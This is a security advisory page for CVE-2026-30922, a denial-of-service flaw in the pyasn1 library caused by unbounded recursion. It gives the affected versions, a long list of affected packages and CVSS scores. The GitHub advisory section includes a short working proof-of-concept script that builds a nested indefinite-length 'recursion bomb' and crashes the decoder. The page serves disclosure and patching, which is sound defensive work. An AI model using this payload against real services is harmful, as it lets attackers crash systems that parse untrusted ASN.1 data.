7.5high
pyasn1 Vulnerable to Denial of Service via Unbounded Recursion
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.08% (higher than 65% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-jr27-m4p2-rc6rPYSEC-2026-2263
Description
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| pyasn1 pyasn1 | < 0.6.3, before 0.6.3 | CVE List, NVD |
| python3.12-pyasn1 | Not specified Not affected: from 0:0.6.3-1.el8ap before *, from 0:0.6.3-1.el9ap before * | CVE List |
| automation-controller | Not specified Not affected: from 0:4.6.29-2.el8ap before *, from 0:4.6.29-2.el9ap before *, from 0:4.7.12-1.el9ap before * | CVE List |
| fence-agents | Not specified Not affected: from 0:4.16.0-13.el10_1.4 before *, from 0:4.16.0-21.el10_2.1 before *, from 0:4.16.0-5.el10_0.9 before *, from 0:4.2.1-129.el8_10.25 before *, from 0:4.2.1-65.el8_4.28 before *, from 0:4.2.1-89.el8_6.22 before * | CVE List |
| resource-agents | Not specified Not affected: from 0:4.9.0-54.el8_10.33 before *, from 0:4.1.1-90.el8_4.25 before *, from 0:4.9.0-16.el8_6.22 before *, from 0:4.9.0-40.el8_8.19 before * | CVE List |
| rhaiis/vllm-rocm-rhel9 | Not specified Not affected: from 1778244531 before * | CVE List |
| ansible-automation-platform-25/ee-supported-rhel8 | Not specified Not affected: from 1777398315 before * | CVE List |
| ansible-automation-platform-25/lightspeed-rhel8 | Not specified Not affected: from 1777403872 before * | CVE List |
| ansible-automation-platform-25/platform-resource-runner-rhel8 | Not specified Not affected: from 1777402264 before * | CVE List |
| ansible-automation-platform-26/eda-controller-rhel9 | Not specified Not affected: from 1777296732 before * | CVE List |
| ansible-automation-platform-26/gateway-rhel9 | Not specified Not affected: from 1777311120 before * | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9 | Not specified Not affected: from 1777387242 before * | CVE List |
| ansible-automation-platform-26/lightspeed-chatbot-rhel9 | Not specified Not affected: from 1774417022 before * | CVE List |
| rhelai3/bootc-azure-rocm-rhel9 | Not specified Not affected: from 1778677745 before * | CVE List |
| rhelai3/bootc-rocm-rhel9 | Not specified Not affected: from 1778666124 before * | CVE List |
| rhmtc/openshift-migration-hook-runner-rhel8 | Not specified Not affected: from 1783931722 before * | CVE List |
| rhoai/odh-kserve-storage-initializer-rhel9 | Not specified Not affected: from 1776343111 before *, from 1778263407 before * | CVE List |
| rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1788301844 before *, from 1782471672 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1787292256 before *, from 1782471731 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1787652771 before *, from 1782471849 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1787292260 before *, from 1782471734 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1787652772 before *, from 1782471879 before * | CVE List |
| rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787801527 before *, from 1782471796 before * | CVE List |
| rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1788315638 before *, from 1782471661 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1788185436 before *, from 1782471753 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified Not affected: from 1788185842 before *, from 1782471740 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1788185848 before *, from 1782471834 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1788186007 before *, from 1782471730 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1788185846 before *, from 1782471835 before * | CVE List |
| rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9 | Not specified Not affected: from 1788185899 before *, from 1782471697 before * | CVE List |
| rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9 | Not specified Not affected: from 1782472374 before * | CVE List |
| rhoai/odh-trustyai-nemo-guardrails-server-rhel9 | Not specified Not affected: from 1782471606 before * | CVE List |
| stf/prometheus-webhook-snmp-rhel9 | Not specified Not affected: from 1777452540 before * | CVE List |
| stf/service-telemetry-rhel9-operator | Not specified Not affected: from 1777407251 before * | CVE List |
| stf/smart-gateway-rhel9-operator | Not specified Not affected: from 1777436150 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1775169155 before *, from 1775253092 before *, from 1775169219 before *, from 1775169218 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1779204086 before * | CVE List |
| rhtas/model-transparency-rhel9 | Not specified Not affected: from 1775815407 before * | CVE List |
| rhmtc/openshift-migration-rhel8-operator | Not specified | CVE List |
| migration-toolkit-virtualization/mtv-rhel9-operator | Not specified | CVE List |
| mtv-candidate/mtv-rhel9-operator | Not specified | CVE List |
| openshift-lightspeed/lightspeed-service-api-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-to-dataverse-exporter-rhel9 | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| rhaiis/vllm-tpu-rhel9 | Not specified | CVE List |
| ansible-automation-platform-24/ee-minimal-rhel8 | Not specified | CVE List |
| ansible-automation-platform-24/ee-minimal-rhel9 | Not specified | CVE List |
| ansible-automation-platform-24/ee-supported-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/ee-minimal-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/ee-supported-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/lightspeed-chatbot-rhel8 | Not specified | CVE List |
| ansible-automation-platform-26/controller-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/controller-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/eda-controller-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/ee-supported-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/gateway-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/hub-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/hub-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/platform-resource-rhel9-operator | Not specified | CVE List |
| rhoai/odh-feature-server-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-agent-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-controller-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-router-rhel9 | Not specified | CVE List |
| rhoai/odh-llama-stack-core-rhel9 | Not specified | CVE List |
| rhoai/odh-mlflow-rhel9 | Not specified | CVE List |
| rhoai/odh-ml-pipelines-runtime-generic-rhel9 | Not specified | CVE List |
| rhoai/odh-modelmesh-runtime-adapter-rhel8 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-training-cuda128-torch29-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9 | Not specified | CVE List |
| openshift4/ose-ansible-operator | Not specified | CVE List |
| openshift4/ose-ansible-rhel9-operator | Not specified | CVE List |
| openshift4/ztp-site-generate-rhel8 | Not specified | CVE List |
| rhoso-operators/ee-openstack-ansible-ee-rhel9 | Not specified | CVE List |
| satellite/iop-advisor-engine-rhel9 | Not specified | CVE List |
| satellite/iop-insights-engine-rhel9 | Not specified | CVE List |
| rhtas/segment-reporting-rhel9 | Not specified | CVE List |
| pyasn1 (PyPI) | before 0.6.3 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Classification
What each source says
CVE List
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.
GitHub Advisory Database
Summary
The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.
Details
The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.
Vulnerable Code Locations:
-
indefLenValueDecoder(Line 998):for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):This method handles indefinite-length constructed types. It sits inside awhile Trueloop and recursively calls the decoder for every nested tag. -
valueDecoder(Lines 786 and 907):for component in decodeFun(substrate, componentType, **options):This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components ofSEQUENCEorSETtypes. Line 907: Recursively decodes elements ofSEQUENCE OForSET OFtypes. -
_decodeComponentsSchemaless(Line 661):for component in decodeFun(substrate, **options):This method handles decoding when no schema is provided.
In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.
PoC
import sys
from pyasn1.codec.ber import decoder
sys.setrecursionlimit(100000)
print("[*] Generating Recursion Bomb Payload...")
depth = 50_000
chunk = b'\x30\x80'
payload = chunk * depth
print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
print("[*] Triggering Decoder...")
try:
decoder.decode(payload)
except RecursionError:
print("[!] Crashed: Recursion Limit Hit")
except MemoryError:
print("[!] Crashed: Out of Memory")
except Exception as e:
print(f"[!] Crashed: {e}")
[*] Payload size: 9.77 KB
[*] Triggering Decoder...
[!] Crashed: Recursion Limit Hit
Impact
- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
- Service Crash: Any service using
pyasn1to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely. - Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.
Credits
Vulnerability discovered by Kevin Tu of TMIR at ByteDance.
NVD (es)
pyasn1 es una biblioteca ASN.1 genérica para Python. Antes de la versión 0.6.3, la biblioteca 'pyasn1' es vulnerable a un ataque de denegación de servicio (DoS) causado por recursión incontrolada al decodificar datos ASN.1 con estructuras profundamente anidadas. Un atacante puede suministrar una carga útil manipulada que contenga miles de etiquetas 'SEQUENCE' ('0x30') o 'SET' ('0x31') anidadas con marcadores de 'Longitud Indefinida' ('0x80'). Esto fuerza al decodificador a llamarse recursivamente hasta que el intérprete de Python falla con un 'RecursionError' o consume toda la memoria disponible (OOM), provocando la caída de la aplicación anfitriona. Esta es una vulnerabilidad distinta de CVE-2026-23490 (que abordó desbordamientos de enteros en la decodificación de OID). La solución para CVE-2026-23490 ('MAX_OID_ARC_CONTINUATION_OCTETS') no mitiga este problema de recursión. La versión 0.6.3 soluciona este problema específico.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-30922 changed 2026-09-17 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-jr27-m4p2-rc6r changed 2026-09-09 | CC-BY-4.0 |
| NVD | CVE-2026-30922 changed 2026-09-10 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2263 changed 2026-07-13 | CC-BY-4.0 |